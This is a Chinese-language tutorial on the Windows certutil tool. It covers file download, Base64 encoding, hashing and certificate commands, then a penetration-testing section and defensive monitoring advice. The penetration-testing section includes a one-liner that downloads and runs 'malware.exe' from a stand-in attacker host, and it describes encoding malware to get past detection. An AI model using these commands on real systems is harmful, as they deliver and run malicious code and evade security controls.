certutil详解
字数 613 2025-08-09 15:23:10
Certutil 命令详解
概述
Certutil 是 Windows 系统自带的一个命令行工具,主要用于证书管理,但在渗透测试和安全研究中,它常被用于文件下载、编码解码等操作。本文将详细介绍 certutil 的各种用法。
基本语法
certutil [选项] [-v] [-dump] [-f] [-split] [-urlcache] [-silent] [-p Password] [-t Timeout] [-config ConfigString] [文件名]
主要功能
1. 文件下载功能
Certutil 可以通过 URL 缓存功能下载文件:
certutil -urlcache -split -f http://example.com/file.exe output.exe
参数说明:
-urlcache: 使用 URL 缓存-split: 分割输出-f: 强制覆盖现有文件
2. 编码/解码功能
Certutil 支持 Base64 编码和解码:
编码文件:
certutil -encode input.txt encoded.txt
解码文件:
certutil -decode encoded.txt output.txt
3. 哈希计算
可以计算文件的哈希值:
certutil -hashfile filename MD5
certutil -hashfile filename SHA1
certutil -hashfile filename SHA256
4. 证书管理
原始用途是管理证书:
-
列出证书存储:
certutil -store -user My -
导出证书:
certutil -exportPFX -p password My "certname" cert.pfx -
导入证书:
certutil -importPFX -p password cert.pfx
5. 文件操作
-
查看文件内容:
certutil -dump filename -
比较两个文件:
certutil -compare filename1 filename2
渗透测试中的特殊用法
1. 下载并执行恶意文件
certutil -urlcache -split -f http://attacker.com/malware.exe malware.exe & malware.exe
2. 绕过检测的编码传输
# 在攻击机上编码文件
certutil -encode malware.exe encoded.txt
# 在目标机上解码
certutil -decode encoded.txt malware.exe
3. 清除下载缓存
certutil -urlcache -f http://example.com/file.exe delete
防御措施
- 监控 certutil 的异常使用,特别是与
-urlcache、-encode、-decode相关的操作 - 限制普通用户对 certutil 的访问权限
- 在安全设备上设置针对 certutil 可疑行为的告警规则
总结
Certutil 是一个功能强大的 Windows 内置工具,既可用于合法的证书管理,也可被攻击者滥用进行文件传输和编码操作。安全团队应充分了解其功能,以便更好地检测和防御可能的恶意使用。